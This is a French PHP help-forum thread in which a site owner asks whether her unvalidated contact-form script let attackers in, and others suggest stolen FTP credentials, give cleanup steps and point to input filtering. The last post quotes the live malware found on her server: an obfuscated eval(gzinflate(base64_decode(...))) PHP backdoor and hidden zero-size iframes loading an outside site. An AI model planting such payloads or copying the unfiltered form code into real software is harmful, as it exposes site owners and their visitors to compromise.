Précédent   Forum des professionnels en informatique > PHP > Langage > Débuter
Débuter Forum d'entraide pour débuter en PHP. Avant de poster -> Cours PHP, FAQ PHP, Outils PHP, etc.
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 31/08/2011, 17h41   #1
Membre à l'essai
 
Clémentine
Inscription : juin 2006
Messages : 128
Détails du profil
Informations personnelles :
Nom : Clémentine
Âge : 24

Informations forums :
Inscription : juin 2006
Messages : 128
Points : 21
Points : 21
Par défaut Présence de faille PHP?

Sur mon site depuis la page index.html j'appelle en post le formulaire suivant:

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
 
//Redirection vers la page d'accueil
header('Location: index.html');
 
 
// On recupère les valeurs du formulaire
$nom=$_POST['nom'];
$prenom=$_POST['prenom'];
$societe=$_POST['societe'];
$adresse=$_POST['adresse'];
$mail=$_POST['mail'];
$telephone=$_POST['telephone'];
 
$message="Nom: ".$nom."\n\n"."Prénom: ".$prenom."\n\n"."Société: ".$societe."\n\n"."Adresse: ".$adresse."\n\n"."Téléphone: ".$telephone."\n\n";
 
mail("moi@gmail.com","Formulaire du site",$message,"From: <a href="mailto:test@gmail.com">test@gmail.com</a>"); 
 
?>
Pensez vous que cela ne soit pas sécurisé ?

Car je me suis fait hacké mon site (on a ajouté du code dans le fichier index.html) et je me demande si cela vient de là ?

Merci.
Mandarine est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 31/08/2011, 21h08   #2
Membre Expert
 
Avatar de gene69
 
Inscription : janvier 2006
Messages : 951
Détails du profil
Informations personnelles :
Localisation : France

Informations professionnelles :
Secteur : High Tech - Produits et services télécom et Internet

Informations forums :
Inscription : janvier 2006
Messages : 951
Points : 1 063
Points : 1 063
non ça ne peut pas venir que de ce bout de code. mais vu ce qu'on y lit c'est assez probable que le reste de la sécurité du site soit égale à 0.
__________________
PHP fait nativement la validation d'adresse électronique Vous êtes perdu en PHP? rassurez-vous ici (en)
Utilisez le bouton résolu!
gene69 est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 31/08/2011, 21h09   #3
Membre Expert
 
Avatar de Atomya Rise
 
Femme Emilie Lefol
En recherche d'emploi
Inscription : février 2009
Messages : 411
Détails du profil
Informations personnelles :
Nom : Femme Emilie Lefol
Âge : 26
Localisation : France, Somme (Picardie)

Informations professionnelles :
Activité : En recherche d'emploi
Secteur : High Tech - Multimédia et Internet

Informations forums :
Inscription : février 2009
Messages : 411
Points : 1 277
Points : 1 277
Te faire hacker à partir d'un simple formulaire qui envoie un mail sans faire d’insertion en bdd ou autre ??

Quand tu dis "hacker", que veux tu dire, que c'est-il passé... ?? Plus de précision pour mieux cerner le problème serais apprécié.

Pour info, dans ton code, tu envoies du html dans un header d'email..., ce n'est pas comme ceci que cela s’écrit.
__________________

Si un message vous a aidé, pensez à voter positivement pour lui ! Merci
Pas de question technique en privé
- Si on criait sur la place publique les fautes de tout le monde, on ne pourrait plus fréquenter personne ! (Marcel Pagnol)
- Technocrates, c’est les mecs que, quand tu leur poses une question, une fois qu’ils ont fini de répondre, tu comprends plus la question que t’as posée. (Coluche)
Atomya Rise est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 31/08/2011, 21h49   #4
Membre à l'essai
 
Clémentine
Inscription : juin 2006
Messages : 128
Détails du profil
Informations personnelles :
Nom : Clémentine
Âge : 24

Informations forums :
Inscription : juin 2006
Messages : 128
Points : 21
Points : 21
Citation:
Envoyé par gene69 Voir le message
non ça ne peut pas venir que de ce bout de code. mais vu ce qu'on y lit c'est assez probable que le reste de la sécurité du site soit égale à 0.
Pourquoi dis tu que c'est mal écrit ? Je ne vois pas ce que j'aurai du changer... ?

Le reste du site n'est qu'en HTML.

Concernant le piratage:
Une balise <iframe> a été inséré en début de mon fichier index.html
Et un fichier: ".php" est apparu sur le serveur.
Mandarine est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 31/08/2011, 21h56   #5
Membre Expert
 
Avatar de Atomya Rise
 
Femme Emilie Lefol
En recherche d'emploi
Inscription : février 2009
Messages : 411
Détails du profil
Informations personnelles :
Nom : Femme Emilie Lefol
Âge : 26
Localisation : France, Somme (Picardie)

Informations professionnelles :
Activité : En recherche d'emploi
Secteur : High Tech - Multimédia et Internet

Informations forums :
Inscription : février 2009
Messages : 411
Points : 1 277
Points : 1 277
Tout d'abord pour l'écriture. Je te laisse lire ce message qui servira ici d'exemple afin que tu constates que nul part on y mets du html....

http://www.developpez.net/forums/d79...der-from-mail/

De plus, dans ton code, tu fais tout par $_POST.. sans même vérifié les saisies... Facile de modifier tout ceci, voici un petit texte très enrichissant :

http://www.phpsecure.info/v2/article...dersInject.php

Mais bon, je doute fort que ton fichier php soit arrivé de ce côté...

Peux-tu nous montrer cette page ? ainsi que l'iframe en question ?

Tu es sur que personne ne possède tes mots de passes ?


Ou alors, il y a de bonne chance que tu es chopé un virus sur ta machine à toi et que ce virus en as profité pour voler tes mots de passe Fillezilla....
__________________

Si un message vous a aidé, pensez à voter positivement pour lui ! Merci
Pas de question technique en privé
- Si on criait sur la place publique les fautes de tout le monde, on ne pourrait plus fréquenter personne ! (Marcel Pagnol)
- Technocrates, c’est les mecs que, quand tu leur poses une question, une fois qu’ils ont fini de répondre, tu comprends plus la question que t’as posée. (Coluche)
Atomya Rise est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 31/08/2011, 22h29   #6
Membre Expert
 
Avatar de gene69
 
Inscription : janvier 2006
Messages : 951
Détails du profil
Informations personnelles :
Localisation : France

Informations professionnelles :
Secteur : High Tech - Produits et services télécom et Internet

Informations forums :
Inscription : janvier 2006
Messages : 951
Points : 1 063
Points : 1 063
quand on écrit

$toto = $_POST['toto'];


c'est se donner bonne conscience ou pour faire de la compatibilité pas cher avec la désactivation des magic_quote. sécurité = -1.
__________________
PHP fait nativement la validation d'adresse électronique Vous êtes perdu en PHP? rassurez-vous ici (en)
Utilisez le bouton résolu!
gene69 est déconnecté   Envoyer un message privé Réponse avec citation 01
Vieux 31/08/2011, 23h27   #7
Débutant
 
Homme Laurent
Webmaster
Inscription : octobre 2006
Messages : 2 873
Détails du profil
Informations personnelles :
Nom : Homme Laurent
Âge : 48
Localisation : France, Isère (Rhône Alpes)

Informations professionnelles :
Activité : Webmaster
Secteur : Industrie

Informations forums :
Inscription : octobre 2006
Messages : 2 873
Points : 1 320
Points : 1 320
Citation:
quand on écrit

$toto = $_POST['toto'];


c'est se donner bonne conscience
Oui, mais on gagne en lisibilité.
__________________
Il vaut mieux viser la perfection et la manquer que viser l'imperfection et l'atteindre. - Bertrand Russell
laurentSc est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 01/09/2011, 01h45   #8
Rédacteur
 
Avatar de jreaux62
 
Homme Jérôme Réaux
Webdesigner
Inscription : août 2008
Messages : 2 994
Détails du profil
Informations personnelles :
Nom : Homme Jérôme Réaux
Âge : 45
Localisation : France, Pas de Calais (Nord Pas de Calais)

Informations professionnelles :
Activité : Webdesigner
Secteur : Arts - Culture

Informations forums :
Inscription : août 2008
Messages : 2 994
Points : 5 787
Points : 5 787
Envoyer un message via Skype™ à jreaux62
Citation:
Envoyé par Mandarine Voir le message
Concernant le piratage:
Une balise <iframe> a été inséré en début de mon fichier index.html
Et un fichier: ".php" est apparu sur le serveur.
Bonjour,
Citation:
- Il est très possible que d'autres fichiers soient aussi infectés.
- Il est possible que ce soit ton espace d'hébergement (via ton FTP), ou le serveur lui-même (plus grave) qui ait été piraté.
- il se peut aussi que ce soit ton PC qui soit contaminé par un virus.

Un article sur le sujet :
Attaques Sites Web par Iframes (et similaires) : Problèmes et Solutions (Gumblar, Martuz, etc.)
-> Quel est ton hébergeur ?
J'ai déjà vu le cas : le serveur complet avait dû être ré-initialisé ...


Citation:
Il faut impérativement :
- changer tes mots de passe de connexion (ftp, bdd, espace client)
- contacter l'hébergeur, et le prévenir,
- NE PAS télécharger de fichiers DEPUIS ton serveur VERS ton PC.
- faire un check-up complet et approfondi de ton PC (-> anti-virus à jour) car il peut être contaminé
- espérer que tu as une sauvegarde "saine" de tes fichier sur ton ordi.
Et pour ton envoi mail :
-> Envoyer un mail en PHP : Créer un formulaire de contact simple
-> fonction mail()
__________________
"Ce qui se conçoit bien s'énonce clairement - Et les mots pour le dire arrivent aisément."
Nicolas Boileau-Despréaux, Homme de lettres français (1636-1711), principal théoricien de l'esthétique classique.
Site perso Mes tutos DVP : Gestion-Affichage de Nouvelles - Affichage en tableau HTML - Fonctions de redimensionnement d'images
jreaux62 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 01/09/2011, 19h12   #9
Membre Expert
 
Avatar de gene69
 
Inscription : janvier 2006
Messages : 951
Détails du profil
Informations personnelles :
Localisation : France

Informations professionnelles :
Secteur : High Tech - Produits et services télécom et Internet

Informations forums :
Inscription : janvier 2006
Messages : 951
Points : 1 063
Points : 1 063
Citation:
Envoyé par laurentSc Voir le message
Oui, mais on gagne en lisibilité.
non. on crois lire une donnée qui est sécurisée et en fait elle ne l'est pas. on perd une information. On s'est donné bonne conscience, on a presque envie de l'écrire toute crue dans une requete SQL... et on crée une faille par injection sql sans en rendre compte.
__________________
PHP fait nativement la validation d'adresse électronique Vous êtes perdu en PHP? rassurez-vous ici (en)
Utilisez le bouton résolu!
gene69 est déconnecté   Envoyer un message privé Réponse avec citation 11
Vieux 01/09/2011, 19h17   #10
Rédacteur/Modérateur
 
Avatar de Thes32
 
Homme
Développeur Web
Inscription : décembre 2006
Messages : 2 335
Détails du profil
Informations personnelles :
Sexe : Homme

Informations professionnelles :
Activité : Développeur Web

Informations forums :
Inscription : décembre 2006
Messages : 2 335
Points : 3 774
Points : 3 774
Citation:
Envoyé par Mandarine Voir le message
Une balise <iframe> a été inséré en début de mon fichier index.html
Et un fichier: ".php" est apparu sur le serveur.
Comme te le dit jreaux62 le problème ne viens pas de PHP, ce sont plutôt tes fichiers qui on été modifier soit par un virus (sur ta machine avant upload ou sur le serveur carrément) soit quelqu'un d'autre à ajouter le bout de code à la mano.

Dans tous les deux cas suit bien les conseils de jreaux62.
__________________
Développeur | Zend Certified Engineer

Étapes Pour mieux se servir du forum:
1. Commencez par lire les cours et tutoriels ;
2. Faites une recherche;
3. Faites un post si rien trouvé dans les deux étapes précédentes en respectant les règles;

Nix>_Rien n'est plus pratique que la théorie
Thes32 est déconnecté   Envoyer un message privé Réponse avec citation 10
Vieux 02/09/2011, 11h51   #11
Membre à l'essai
 
Clémentine
Inscription : juin 2006
Messages : 128
Détails du profil
Informations personnelles :
Nom : Clémentine
Âge : 24

Informations forums :
Inscription : juin 2006
Messages : 128
Points : 21
Points : 21
@jreaux62: j'ai fait toutes les modifications préconisées. Pas de virus sur ma machine, ni de troyen.

J'ai un abonnement mutualisé 1and1. Je les ai prévenu, mais apparemment j'étais la seule victime de cela.

Je n'ai plus l'iframe ni le .php de disponibles Mais de mémoire l'iframe ou le .php contenait une fonction evalf ou un truc du genre.

J'ai fait un backup de mes sources sur le serveur.

Merci pour toutes vos informations !

Vous m'avez bien éclairez sur ce problème et sur le fait que mes sites sont pas sécurisés. Auriez vous un lien simple d'accès pour sécuriser toutes les données post ou get. Du genre

$toto=fonction_secure($_POST['toto']);

Je schématise mais bon c'est l'idée générale.
Mandarine est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 02/09/2011, 12h42   #12
Rédacteur
 
Avatar de jreaux62
 
Homme Jérôme Réaux
Webdesigner
Inscription : août 2008
Messages : 2 994
Détails du profil
Informations personnelles :
Nom : Homme Jérôme Réaux
Âge : 45
Localisation : France, Pas de Calais (Nord Pas de Calais)

Informations professionnelles :
Activité : Webdesigner
Secteur : Arts - Culture

Informations forums :
Inscription : août 2008
Messages : 2 994
Points : 5 787
Points : 5 787
Envoyer un message via Skype™ à jreaux62
-> Filtrage des données
-> Les filtres PHP : une fonctionnalité importante de sécurité

-> une petite discussion : textarea et faille xss
__________________
"Ce qui se conçoit bien s'énonce clairement - Et les mots pour le dire arrivent aisément."
Nicolas Boileau-Despréaux, Homme de lettres français (1636-1711), principal théoricien de l'esthétique classique.
Site perso Mes tutos DVP : Gestion-Affichage de Nouvelles - Affichage en tableau HTML - Fonctions de redimensionnement d'images
jreaux62 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 05/09/2011, 08h43   #13
Membre à l'essai
 
Clémentine
Inscription : juin 2006
Messages : 128
Détails du profil
Informations personnelles :
Nom : Clémentine
Âge : 24

Informations forums :
Inscription : juin 2006
Messages : 128
Points : 21
Points : 21
Pour conclure ce topic, j'ai retrouvé les modifications effectuées sur mon serveur.

Pour info:
ajout d'un fichier .php contenant

Code :
1
2
 
<?eval(gzinflate(base64_decode('fVNtb9owEP4rruUPibQGWmB0CyB1ElUnTRpqYXwoa+T4pbhN7Mx2+rLCf985gQpV1b6cz77n7Oe5OysZkWz283p+g6WlpcC/EdUcHYmy8i/vQ3H8SpTm4lmqQjg0RjiKbpuDVbK55ULSuvDBLanSqySOqnVFNmB6je03dhCsLwuyUZqRTeuCJRvX+q7ZUFc9N5Zs7hvTBpksSRzjlDSUmNFeaA9M3jFNyRpkFAIiphKaKxvhBMfp0xqYo0jSwgl0NB6jiAQttCgAaQXlAbnLjUGukpGw4k5FB7o/oX1OC1Aue7LK07wQ0UGEyDcKMnB4i31CmAIVGZJCRgsLtx5IilMk2NogfGeKe/v0p+p7fVf0e0NNnew+PuB0u92ywjhxyDjdChAWSJHsenr1a3p1g2eXs+x8Mb/MFnAC7Q2qsTXGqweMjEUlH3yEni2h3y34dHjWzbtnw+FnyU9lT/J8mLNBT/Avg1PG5RDHr2sonYAaL5fL4/Par0GBYtSLr+gbdYqF0hbleIXPGRPOIS60EnyFoQz7zMv5fNY5Sbqo3z1BC03hEmPVX8Hxgaojkl18/zG9Drx3LrQcyqqbrt9gBxmgEVh349dQQDwKczMZhWcmo0675Ia/TEbS2BJR5pXRwGyFUSngTQ5+ZZyHvdDMv1QCDkqYa1VR6zsh6ZhTT1d4MlK6qj3aYQINSApMdrvgBlhu30FdnZcqvPBIizocLKrCUL7HNo/A0tLsNAJwKp6Vjw5qwUwVPugHRfBllbU+jFrSwcmHKL3/0u2cXYSPMcon/0UnGFhNUN3QFRy5uulngne02qum1kJ/3kDhmmZct/8A')));?>
Et dans mes fichiers index, l'iframe ajoutée est la suivante:
Code :
<iframe src='http://www.formerfatkid.net/index.php' width='0' height='0' allowTransparency frameborder='0' scrolling='no'></iframe><iframe src='http://www.formerfatkid.net/index.php' width='0' height='0' allowTransparency frameborder='0' scrolling='no'></iframe><iframe src='http://www.formerfatkid.net/index.php' width='0' height='0' allowTransparency frameborder='0' scrolling='no'></iframe><iframe src='http://www.formerfatkid.net/index.php' width='0' height='0' allowTransparency frameborder='0' scrolling='no'></iframe><iframe src='http://www.formerfatkid.net/index.php' width='0' height='0' allowTransparency frameborder='0' scrolling='no'></iframe><iframe src='http://www.formerfatkid.net/index.php' width='0' height='0' allowTransparency frameborder='0' scrolling='no'></iframe>
Merci pour toutes vos informations
Mandarine est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 21h48.


 
 
 
 
Partenaires

Hébergement Web